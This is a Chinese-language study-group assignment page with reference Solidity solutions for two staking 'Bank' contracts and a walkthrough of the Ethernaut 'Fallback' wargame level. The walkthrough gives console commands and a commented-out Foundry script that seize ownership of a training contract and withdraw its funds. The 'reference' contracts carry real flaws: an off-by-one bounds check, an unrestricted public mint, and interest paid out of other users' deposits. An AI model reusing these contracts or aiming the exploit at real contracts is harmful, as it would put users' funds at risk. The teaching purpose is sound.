---
# System prepended metadata

title: 第三次實作練習｜智能合約與 Dapp 實戰讀書會

---

# 第三次實作練習｜智能合約與 Dapp 實戰讀書會
> 已公佈實作參考解答

[TOC]

## 作業說明
第三次讀書會實作主題是 DeFi ，共分為「建立一個銀行 Bank」的基本題及進階題 Ethernaut 讓大家練習

繳交作業必須完成 ==Bank 基本題==，其餘兩題可做可不做，請<u>**在 12/2 (五) 23:59前**</u>繳交

## Bank 基本題：建立一個支援單代幣的銀行
> 在 Web3 世界人人都可以當銀行家！我們想開張一間去中心化金融中心，簡易小而美的銀行

- 使用者可以將我們發行的 Staking Token (ERC20代幣)存入銀行
- 使用者執行定存，會開始計算 Reward 利息回饋
- 使用者解除定存（withdraw），獲得 Reward 利息回饋

部署二個合約，

1. 部署一個 ==Staking Token ERC20== 的智能合約
    > 提示：可透過 [Openzeppelin Wizard](https://docs.openzeppelin.com/contracts/4.x/wizard) 快速產生 ERC20

2. 部署一個 ==Bank== 銀行合約，並擁有以下功能

    - Deposit 定存：實作 deposit function，可以將 Staking Token 存入 Bank 合約
    - Withdraw 解除定存並提款，實作 withdraw function
    - TimeLock 固定鎖倉期

3. 部署方式：Remix JavaScript VM 部署合約

### 參考解答
`StakingToken.sol`
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract testERC20 is ERC20 {
    constructor() ERC20("testERC20", "tERC") {
        // _mint(msg.sender, 10 ** (9 + 18));
        _mint(msg.sender, 1_000_000_000 * 1e18);
    }
}
```
`BankBasic.sol`
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.16;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/*
  建立一個 Bank 銀行
  在 web3 世界人人都可以當銀行家！我們想開張一間去中心化金融中心，簡易小而美的銀行

  使用者可以將我們發行的 Staking Token (ERC20代幣)存入銀行
  使用者執行定存，會開始計算 Reward 利息回饋
  使用者解除定存（withdraw），獲得 Reward 利息回饋

  Deposit 定存：實作 deposit function，可以將 Staking Token 存入 Bank 合約
  Withdraw 解除定存並提款，實作 withdraw function
  TimeLock 固定鎖倉期
*/
contract BasicBank {
    // 質押 Staking Token 代幣
    IERC20 public stakingToken;
    // 全部質押數量
    uint256 public totalStakedToken;
    // 個人質押數量
    mapping(address => uint256) public balanceOf;
    
    // 鎖倉時間
    uint256 public withdrawDeadline = 10 seconds;

    // 利息獎勵
    // 10 ** -18 per second
    uint256 public rewardRate = 1;
    // 個人總利息
    mapping(address => uint256) public rewardOf;

    // 定存資料
    struct Deposit {
        uint256 amount; // 定存多少金額
        uint256 startTime; // 定存開始時間
        uint256 endTime; // 定存結束時間
    }

    mapping(address => Deposit[]) public depositOf;

    constructor(IERC20 _stakingToken) {
        stakingToken = _stakingToken;
    }

    // update total token amount in the contract
    function updateTotalStakenToken() internal {
        totalStakedToken = stakingToken.balanceOf(address(this));
    }
    // 存款
    function deposit(uint256 _amount) external  {
        // 1) 將 stakingToken 移轉到 BasicBank 合約
        stakingToken.transferFrom(msg.sender, address(this), _amount);

        // 2) 紀錄存款數量
        totalStakedToken += _amount;
        balanceOf[msg.sender] += _amount;

        // 3) 定存資訊
        depositOf[msg.sender].push(
            Deposit({
                amount: _amount,
                startTime: block.timestamp,
                endTime: block.timestamp + withdrawDeadline
            })
        );
    }

    // 解除定存
    function withdraw(uint256 _depositId) external {
        // 檢查：餘額需要大於 0
        require(balanceOf[msg.sender] > 0, "You have no balance to withdraw");

        Deposit[] storage deposits = depositOf[msg.sender];
        // 檢查條件: 必須超過鎖倉期才可以提領
        require(block.timestamp >= deposits[_depositId].endTime, "Withdrawal Period is not reached yet");
        // 檢查條件：定存ID 是否存在
        require(_depositId <= deposits.length, "Deposit ID not exist!!");

        // 這次提領的金額 =本金 + 利息
        uint256 currentReward = deposits[_depositId].amount + getInterest(_depositId);
        updateTotalStakenToken();
        // 檢查條件：目前質押在合約中的代幣數量，要大於這次提領的金額（本金+利息）
        require(totalStakedToken >= currentReward, "Tokens in the pool is insufficient for the withdrawal");

        // 1) 獲得利息獎勵
        rewardOf[msg.sender] += currentReward;

        // 2) 提款
        stakingToken.transfer(msg.sender, currentReward);
        totalStakedToken -= currentReward;
        balanceOf[msg.sender] -= deposits[_depositId].amount;

        // 3) 把此筆定存移除，並更新最後一筆定存的 ID 至目前定存
        deposits[_depositId] = deposits[deposits.length - 1];
        deposits.pop();
    }

    // 計算利息
    function getInterest(uint256 _depositId) public view returns (uint256) {
        uint256 start = depositOf[msg.sender][_depositId].startTime;
        uint256 _amount = depositOf[msg.sender][_depositId].amount;
        return (block.timestamp - start) * rewardRate * _amount;
    }

    // 使用者旗下的所有定存利息
    function getAllInterest() public view returns (uint256){
        uint256 N = depositOf[msg.sender].length;
        uint256 allRewards;

        for (uint256 i = 0; i < N; i++) {
            allRewards += getInterest(i);
        }
        return allRewards;
    }
}
```


### 細節補充：怎麼表示小數點
> 利息計算時，免不了要進行浮點數的運算，Solidity 為了維持小數的精度所以沒有 float, double 這類的資料型別，皆是以整數來表示小數點。

- 查看 token 的基礎單位（[Openzeppelin的 ERC20合約](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC20/ERC20.sol)），預設是 $10^{18}$
    ```solidity=
    /**
     * @dev Returns the number of decimals used to get its user representation.
     * For example, if `decimals` equals `2`, a balance of `505` tokens should
     * be displayed to a user as `5.05` (`505 / 10 ** 2`).
     *
     * Tokens usually opt for a value of 18, imitating the relationship between
     * Ether and Wei. This is the value {ERC20} uses, unless this function is
     * overridden;
     *
     * NOTE: This information is only used for _display_ purposes: it in
     * no way affects any of the arithmetic of the contract, including
     * {IERC20-balanceOf} and {IERC20-transfer}.
     */
    function decimals() public view virtual override returns (uint8) {
        return 18;
    }
    ```
- 若想要發 1,000,000,000 ($10^9$) 個 token，在 `mint` 時的數量要寫成 `10 ** (18 + 9)`
![](https://i.imgur.com/ZQpGjaE.png)

- 實際看到的發行總量並不會是 $10^{27}$ 而是 $10^{9}$
![](https://i.imgur.com/JwMp8Gj.png)

### 細節補充：使用 IERC20 與 ERC20 合約互動
https://docs.openzeppelin.com/contracts/4.x/api/token/erc20#IERC20

### 細節補充：用 Struct 記錄每一筆定存
新增結構體陣列，記錄每筆定存的資訊
```solidity=
struct Deposit {
    uint256 amount;
    uint256 startTime;
    uint256 endTime;
}
mapping(address => Deposit[]) public depositOf;

/*
depositOf[msg.sender] = [ 
    [amount, startTime, endTime], // 第0筆定存
    [amount, startTime, endTime], // 第1筆定存
    [amount, startTime, endTime]  // 第2筆定存
]
*/
```

### 細節補充：使用 transferFrom + approve 來提升安全性
- `approve`：Token的擁有者，可以將權限委託給 Bank，允許他們從所有者的餘額中花費特定金額
- `transferFrom`：允許Token擁有者，將控制權委託給另一個地址。它通常用於給合約來分配Token、Staking等使用
- `transferFrom` 通常與 `approve` 結合使用
![](https://i.imgur.com/xgkHRpC.png)


##  Bank 進階題：建立一個支援多代幣的銀行
進階題可不做，但需繳交基本作業

1. 部署兩個 ERC20 Token 的智能合約，分別是 StakingToken、RewardsToken

2. 部署 AdvanceBank 智能合約，並擁有以下功能
    - Deposit 定存
    - Reward（回饋另一個 RewardsToken）
    - TimeLock 根據鎖倉期給予不同回饋加乘

3. 合約部署在 Goerli Network，並開源 Verify

### 參考解答
`StakingTokenAndRewardToken.sol`
```solidity=
// SPDX-License-Identifier: MIT

pragma solidity 0.8.16;

import "@openzeppelin/contracts/token/ERC20/ERC20.sol";

contract StakingToken is ERC20 {
    constructor() ERC20("Staking Token", "ST") {
      mint(msg.sender, 50000);
    }

    function mint(address to, uint256 amount) public  {
        _mint(to, amount);
    }
}

contract RewardToken is ERC20 {
    constructor() ERC20("Reward Token", "ST") {
        _mint(msg.sender, 100 * 1e18);
    }
}
```
`BankAdvanced.sol`
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity 0.8.16;

import "@openzeppelin/contracts/token/ERC20/IERC20.sol";

/*
  建立一個 Bank 銀行
  在 web3 世界人人都可以當銀行家！我們想開張一間去中心化金融中心，簡易小而美的銀行

  使用者可以將我們發行的 Staking Token (ERC20代幣)存入銀行
  使用者執行定存，會開始計算 Reward 利息回饋
  使用者解除定存（withdraw），獲得 Reward 利息回饋

  Deposit 定存：實作 deposit function，可以將 Staking Token 存入 Bank 合約
  Withdraw 解除定存並提款，實作 withdraw function
  TimeLock 固定鎖倉期
*/
contract AdvanceBank {
    // 質押 Staking Token代幣
    IERC20 public stakingToken;
    // 利息獎勵代幣
    IERC20 public rewardToken;

    // 全部質押數量
    uint256 public totalSupply;
    // 個人質押數量
    mapping(address => uint256) public balanceOf;
    
    // 鎖倉時間
    uint256 public withdrawDeadline = 10 seconds;

    // 利息獎勵
    uint256 public rewardRate = 1;
    // 個人總利息
    mapping(address => uint256) public rewardOf;

    // 定存資料
    struct Deposit {
        uint256 amount; // 定存多少金額
        uint256 startTime; // 定存開始時間
        uint256 endTime; // 定存結束時間
    }

    mapping(address => Deposit[]) public depositOf;
    
    // 紀錄每個帳戶，操作 deposit, withdraw, getReward 最後更新的時間
    mapping(address => uint256) public lastUpdateTime;

    constructor(IERC20 _stakingToken, IERC20 _rewardToken) {
        stakingToken = _stakingToken;
        rewardToken = _rewardToken;
    }

    event WithdrawReward(address _account, uint256 _reward);

    // 計算利息，公式計算
    function earned() public view returns (uint256) {
        // 經過多少時間（秒）
        uint256 duration = block.timestamp - lastUpdateTime[msg.sender];
        // (你擁有多少顆 StakingToken * 時間 * rewardRate) + 目前獎勵利息有多少
        return balanceOf[msg.sender] * duration * rewardRate + rewardOf[msg.sender];
    }

    // 每次存提款、提領利息，都會呼叫他
    modifier updateReward() {
        // 1) 更新該帳戶的獎勵
        rewardOf[msg.sender] = earned();

        // 2) 更新最後的時間
        lastUpdateTime[msg.sender] = block.timestamp;
        _;
    }

    // 存款
    function deposit(uint256 _amount) external updateReward {
        // 1) 將 stakingToken 移轉到 BasicBank 合約
        stakingToken.transferFrom(msg.sender, address(this), _amount);

        // 2) 紀錄存款數量
        totalSupply += _amount;
        balanceOf[msg.sender] += _amount;

        // 3) 定存資訊
        depositOf[msg.sender].push(
            Deposit({
                amount: _amount,
                startTime: block.timestamp,
                endTime: block.timestamp + withdrawDeadline
            })
        );
    }

    // 解除定存
    function withdraw(uint256 _depositId) external updateReward {
        // 檢查：餘額需要大於 0
        require(balanceOf[msg.sender] > 0, "You have no balance to withdraw");

        Deposit[] storage deposits = depositOf[msg.sender];
        // 檢查條件: 必須超過鎖倉期才可以提領
        require(block.timestamp >= deposits[_depositId].endTime, "Withdrawal Period is not reached yet");
        // 檢查條件：定存ID 是否存在
        require(_depositId <= deposits.length, "Deposit ID not exist!!");

        uint256 amount = deposits[_depositId].amount;

        // 1) 獲得利息獎勵
        // rewardOf[msg.sender] += getReward(_depositId);

        // 2) 提款
        stakingToken.transfer(msg.sender, amount);
        totalSupply -= amount;
        balanceOf[msg.sender] -= amount;

        // 3) 移除此筆定存，移除陣列 deposits
        // 陣列往左移
        deposits[_depositId] = deposits[deposits.length - 1];
        deposits.pop();
    }

    // 利息 rewardToken 轉移給使用者
    function getReward(uint256 _depositId) external updateReward {
        require(rewardOf[msg.sender] > 0, "You have no reward! sorry!");
        
        // 1) 取得目前的總利息，存進變數 reward
        uint256 reward = rewardOf[msg.sender];

        // 2) reward 將利息歸 0
        rewardOf[msg.sender] = 0;

        // 3) 利息用 rewardToken 方式獎勵給 User
        // 需要將 rewardToken 存到銀行，銀行才可以發放獎勵
        rewardToken.transfer(msg.sender, reward);

        // 4) 紀錄事件，使用者已經提領利息
        emit WithdrawReward(msg.sender, reward);
    }
}
```

### 細節補充：設計利息公式
參考版為 $\text{利息 } reward = (\text{現在時間 - 上次更新時間}) * rewardRate * \text{存入前的 } token + \text{當前 }reward$


## Ethernaut 智能合約攻防戰

> 有興趣者可以試著挑戰前 10 題

### 事前準備
- 開啟 Ethernaut：https://ethernaut.openzeppelin.com/
- Ethernaut 是用 web3.js 做為底層，查詢用法：https://web3js.readthedocs.io/en/v1.7.5/web3-eth.html

### 範例說明：第二題 Fallback
- 遊戲目標：
    - 獲取合約所有權，成為 Owner
    - 把合約裡的錢偷走
- 關卡用意：
    - 學會ether進出合約的基本知識
    - 使用fallback方法
    - Ownable的特殊權限

#### 觀察思路
- 仔細觀察 `fallback.sol`的內容，會發現有兩個地方可以拿到 owner 權限
    - contribute Fn：需要把 1000 ETH 打到 contribute function，這條路有點太奢侈了
    - receive() 剩下這條路可以走

#### 接收 ETH 幫手：receive()
`receive()` 是用來接收 ETH，一個合約只能有唯一一個 `receive` ，它也走特例，不需要 `function` 關鍵字，但必須有 `external`, `payable`
```solidity=
receive() external payable {
    // ...
}
```
- 當合約收到 Eth時，會觸發 receive

#### 開始解題
仔細看 receive 可以得知
```solidity=
receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
}
```
- contributions[msg.sender] 錢需要 > 0
- 轉錢給合約 msg.value > 0
以上兩個條件達成，就可以成為 owner

呼叫 contributions 讓 contributions[msg.sender]>0，傳送 0.00001 ether
```javascript=
await contract.contribute({ value: toWei("0.0001")})
```
接著使用 Metamask 轉一筆錢到合約地址就會觸發 receive()，獲得 owner 權限

```javascript=
contract.address
> '0xe5eBf7364306e0eca2CAE5F0D028650cd158d776'

// Metamask 轉任意的錢


await contract.contribute({ value: 1 })

await contract.sendTransaction({value: 1})

await contract.owner() // 查詢 Owner 是誰
> '0x977e01DDd064e404227eea9E30a5a36ABFDeF93D'
// 與 player 地址相同，表示已成為 owner。確認成為 owner後，呼叫合約的 withdraw

player // 你的錢包地址
> '0x977e01DDd064e404227eea9E30a5a36ABFDeF93D'

await contract.withdraw();

// 確認合約錢餘額
await getBalance(contract.address);
```
交易完成後，便可以 Submit 提交答案囉，成功後會看到控制台出現下面訊息，表示通過
![](https://i.imgur.com/HCGRg0i.png =200x)

- [補充：Solidity 接收ETH receive和fallback](https://mirror.xyz/ninjak.eth/EroVZqHW1lfJFai3umiu4tb9r1ZbDVPOYC-puaZklAw)

<!-- #### Foundry
```solidity=
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "forge-std/Script.sol";
import "../instances/Ilevel01.sol";

contract POC is Script {
    Fallback level1 = Fallback(關卡地址);

    function run() external {
        vm.startBroadcast();

        level1.contribute{value: 1 wei}();
        level1.getContribution();
        address(level1).call{value: 1 wei}("");
        level1.owner();
        level1.withdraw();
        
        vm.stopBroadcast();
    }
}
``` -->